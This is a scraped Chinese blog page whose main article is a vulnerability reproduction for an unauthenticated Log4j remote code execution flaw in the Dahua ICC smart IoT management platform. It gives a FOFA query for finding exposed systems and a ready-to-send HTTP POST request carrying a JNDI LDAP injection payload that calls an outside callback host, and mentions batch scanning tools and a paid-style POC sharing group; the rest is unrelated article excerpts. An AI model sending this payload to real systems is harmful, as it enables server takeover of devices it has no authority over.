当前位置：首页 > news >正文

【漏洞复现】大华智能物联综合管理平台 log4j远程代码执行漏洞

news 2025/10/16 9:57:59

0x01 产品简介

大华ICC智能物联综合管理平台对技术组件进行模块化和松耦合，将解决方案分层分级，提高面向智慧物联的数据接入与生态合作能力。

0x02 漏洞概述

大华ICC智能物联综合管理平台/evo-apigw/evo-brm/1.2.0/user/is-exist 接口处存在 l0g4i远程代码执行漏洞，未经身份验证的攻击者可以利用此漏洞远程代码执行，进一步构造系统内部利用链可导致服务器失陷。

0x03 搜索语法

FOFA：body="*客户端会小于800*"

在这里插入图片描述

0x04 漏洞复现

POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8{
"loginName":"${jndi:ldap://xxxx.dnslog.pw}"
}

在这里插入图片描述

0x05 工具批量

nuclei

在这里插入图片描述

afrog

在这里插入图片描述

xray

在这里插入图片描述

POC脚本获取

请使用VX扫一扫加入内部POC脚本分享圈子
在这里插入图片描述

【漏洞复现】大华智能物联综合管理平台 log4j远程代码执行漏洞

0x01 产品简介大华ICC智能物联综合管理平台对技术组件进行模块化和松耦合，将解决方案分层分级，提高面向智慧物联的数据接入与生态合作能力。 0x02 漏洞概述大华ICC智能物联综合管理平台/evo-apigw/evo-brm/1.2.0/user/is-exist 接口处存在 l0g4i远程…...

编程日记 2024/5/30 2:18:42

OrangePi AIpro测评

文章目录 1、外观部分2、系统初探3、AI性能体验4、总结首先非常感谢csdn以及香橙派能够提供这样一个平台，可以测试OrangePi AIpro这样一块开发板，这块板子给我的感觉还是非常不错的，非常适合用来作为嵌入式学习的板子，性能也达到…...

编程日记 2024/5/30 2:17:41

写代码之前一定要提前想好思路

就和写数学题目一样，在做题目之前要先把思路确立下来。可能是我早年做数学的时候老是着急做题目没怎么分析过题目，把这个习惯不自觉地代入了代码的写入当中。习惯的养成使得我即使明白了自己的问题也依然会不断的犯错，看来只有刻意地提醒自己…...

编程日记 2024/5/30 2:16:39

「清新题精讲」Skiers

更好的阅读体验 Skiers Description 给定 n n n 个点的有向无环平面图，求最少多少条从 1 1 1 到 n n n 的路径能覆盖原图的所有边？ 1 ≤ n ≤ 5 1 0 3 1\le n\le 5\times10^3 1≤n≤5103 Solution 考虑从 1 1 1 到 n n n 的路径其实是边的链覆…...

编程日记 2024/5/30 2:15:39

Transformer详解(8)-基于transformer的英文到中文翻译模型

1、数据使用TED，数据清洗 WIT是“转录和翻译演讲网络清单”的缩写，是 TED 演讲多语言转录的现成版本，可用于研究目的。 2、英文中文翻译模型搭建 3、模型训练 4、模型推理...

编程日记 2024/5/30 2:14:37

算法的时间复杂度（详解）

前言： 算法(Algorithm):就是定义良好的计算过程，他取一个或一组的值为输入，并产生出一个或一组值作为输出。简单来说算法就是一系列的计算步骤，用来将输入数据转化成输出结果一、算法效率 1.1 如何衡量一个算法的好坏如何衡…...

编程日记 2024/5/30 2:13:36

Flutter 中的 NestedScrollViewViewport 小部件：全面指南

Flutter 中的 NestedScrollViewViewport 小部件：全面指南 Flutter 是一个功能丰富的 UI 工具集，它提供了多种布局和控件来帮助开发者构建美观且功能强大的应用。在 Flutter 的滚动控件中，NestedScrollView 是一个特别的存在，它允…...

编程日记 2024/5/30 2:12:35

断开自定义模块与自定义库的链接

断开自定义模块与自定义库的链接 1、断开模块与库的链接 1、断开模块与库的链接如果摸个库文件添加到模型中，无法“Disable Link”时，可以使用save_system命令进行断开到模型中用户定义的库模块的链接； 参考链接： 传送门 save…...

编程日记 2024/5/30 2:11:34

粉丝问，有没有UI的统计页面，安排！

移动应用的数据统计页面具有以下几个重要作用： 监控业务指标：数据统计页面可以帮助用户监控关键业务指标和数据，例如用户活跃度、销售额、转化率等。通过实时更新和可视化呈现数据，用户可以及时了解业务的整体状况和趋势。分析用…...

编程日记 2024/5/30 2:10:33

Nginx R31 doc-17-debugging 调试

前言大家好，我是老马。很高兴遇到你。我们为 java 开发者实现了 java 版本的 nginx https://github.com/houbb/nginx4j 如果你想知道 servlet 如何处理的，可以参考我的另一个项目： 手写从零实现简易版 tomcat minicat 手写 nginx 系列 …...

编程日记 2024/5/30 2:09:31

python -【一】基础语法

python 基础语法一. 基础数据类型常用的 6 种数据类型类型描述说明数字（Number）int，float，complex(复数)，bool复数：4 3j，j 表示复数字符串（String）文本&#xff1…...

编程日记 2024/5/30 2:07:30

数据结构 | 详解二叉树——堆与堆排序

🥝堆堆总是一棵完全二叉树。大堆：父节点总是大于子节点。小堆：父节点总是小于子节点。注意：1.同一个节点下的两个子节点并无要求先后顺序。 2.堆可以是无序的。 🍉堆的实现 🌴深度剖析 1.父节点和子…...

编程日记 2024/5/30 2:06:28

vb.net,C#强制结束进程，“优雅”的退出方式

在VB.NET中，Application.Exit()和Environment.Exit(0)都用于结束程序，但它们的使用场景和背后的逻辑略有不同。 **Application.Exit()**： Application.Exit()通常用于Windows Forms应用程序中。当调用Application.Exit()时，它会触…...

编程日记 2024/5/30 2:05:27

牛客热题：数据流中的中位数

📟作者主页：慢热的陕西人 🌴专栏链接：力扣刷题日记 📣欢迎各位大佬👍点赞🔥关注🚓收藏，🍉留言文章目录牛客热题：数据流中的中位数题目链接方法一…...

编程日记 2024/5/30 2:04:26

JavaScript-JavaWeb

目录什么是JavaScript? js引入方式 js基础语法书写语法变量数据据类型运算符类型转换流程语句 js函数 js对象 1.Array 2.String 3.JSON js事件监听什么是JavaScript? ● JavaScript(简称:JS)是一门跨平台、面向对象的脚本语言。是用来控制网页行为的,它能…...

编程日记 2024/5/30 2:00:21

vue组件通讯$parent和$children获取单签组件的⽗组件和当前组件的⼦组件的例子

在 Vue 中，$parent 和 $children 是实例属性，允许你访问组件的父组件和子组件。但是，请注意，这些属性主要用于在开发过程中进行调试和临时访问，并不推荐在正常的组件通信中使用，因为它们破坏了组件的封装性…...

编程日记 2024/5/30 1:58:19

Util和utils

Util FieldStats 这段代码定义了一个名为FieldStats的Java类，位于com.cqupt.software_1.Util包中。它使用了lombok库的Data和AllArgsConstructor注解，这些注解帮助生成了getter、setter、toString等方法，以及包含所有参数的构造函数。类中有…...

编程日记 2024/5/30 1:57:18

拷贝构造、移动构造、拷贝赋值、移动赋值

最近在学习C的拷贝构造函数时发现一个问题：在函数中返回局部的类对象时，并没有调用拷贝构造函数。针对这个问题，查阅了一些资料，这里记录整理一下。调用拷贝构造函数的三种情况： ① 用一个类去初始化另一个对象时&a…...

编程日记 2024/5/30 1:55:14

Python3 笔记：math模块

要使用 math 函数必须先导入math模块语法：import math Python math 模块提供了许多对浮点数的数学运算函数。 math 模块下的函数，返回值均为浮点数，除非另有明确说明。如果需要计算复数，需使用 cmath 模块中的同名函数。 m…...

编程日记 2024/5/30 1:52:11

python -【四】函数

函数一、函数的基础函数：是组织好的，可以重复使用的，用来实现特定功能的代码段语法 def 函数名(入参): return 出参 # 定义函数 def out_hello():print(hello ~~~)# 调用/使用/执行函数 out_hello()练习题自定义一个函数&#xff0c…...

编程日记 2024/5/30 1:51:10

K8S认证|CKS题库+答案| 11. AppArmor

目录 11. AppArmor 免费获取并激活 CKA_v1.31_模拟系统题目开始操作： 1）、切换集群 2）、切换节点 3）、切换到 apparmor 的目录 4）、执行 apparmor 策略模块 5）、修改 pod 文件 6）、…...

编程新知 2025/10/14 4:14:14

Xshell远程连接Kali（默认 | 私钥）Note版

前言:xshell远程连接，私钥连接和常规默认连接任务一开启ssh服务 service ssh status //查看ssh服务状态 service ssh start //开启ssh服务 update-rc.d ssh enable //开启自启动ssh服务任务二修改配置文件 vi /etc/ssh/ssh_config //第一…...

编程新知 2025/10/10 10:48:22

AtCoder 第409场初级竞赛 A~E题解

A Conflict 【题目链接】原题链接：A - Conflict 【考点】枚举【题目大意】找到是否有两人都想要的物品。【解析】遍历两端字符串，只有在同时为 o 时输出 Yes 并结束程序，否则输出 No。【难度】 GESP三级【代码参考】 #i…...

编程新知 2025/7/23 9:09:08

Spring Boot面试题精选汇总

🤟致敬读者 🟩感谢阅读🟦笑口常开🟪生日快乐⬛早点睡觉 📘博主相关 🟧博主信息🟨博客首页🟫专栏推荐🟥活动信息文章目录 Spring Boot面试题精选汇总⚙️ **一、核心概…...

编程新知 2025/9/24 23:08:17

Caliper 配置文件解析：config.yaml

Caliper 是一个区块链性能基准测试工具，用于评估不同区块链平台的性能。下面我将详细解释你提供的 fisco-bcos.json 文件结构，并说明它与 config.yaml 文件的关系。 fisco-bcos.json 文件解析这个文件是针对 FISCO-BCOS 区块链网络的 Caliper 配置文件，主要包含以下几个部…...

编程新知 2025/8/13 13:40:18

Spring是如何解决Bean的循环依赖：三级缓存机制

1、什么是 Bean 的循环依赖在 Spring框架中，Bean 的循环依赖是指多个 Bean 之间‌互相持有对方引用‌，形成闭环依赖关系的现象。多个 Bean 的依赖关系构成环形链路，例如：双向依赖：Bean A 依赖 Bean B，同时 Bean B 也依赖 Bean A（A↔B）。链条循环： Bean A → Bean…...

编程新知 2025/7/25 1:21:53

AirSim/Cosys-AirSim 游戏开发（四）外部固定位置监控相机

这个博客介绍了如何通过 settings.json 文件添加一个无人机外的固定位置监控相机，因为在使用过程中发现 Airsim 对外部监控相机的描述模糊，而 Cosys-Airsim 在官方文档中没有提供外部监控相机设置，最后在源码示例中找到了，所以感…...

编程新知 2025/9/22 23:38:20

搭建DNS域名解析服务器(正向解析资源文件)

正向解析资源文件 1）准备工作服务端及客户端都关闭安全软件 [rootlocalhost ~]# systemctl stop firewalld [rootlocalhost ~]# setenforce 0 2）服务端安装软件：bind 1.配置yum源 [rootlocalhost ~]# cat /etc/yum.repos.d/base.repo [Base…...

编程新知 2025/9/23 1:38:13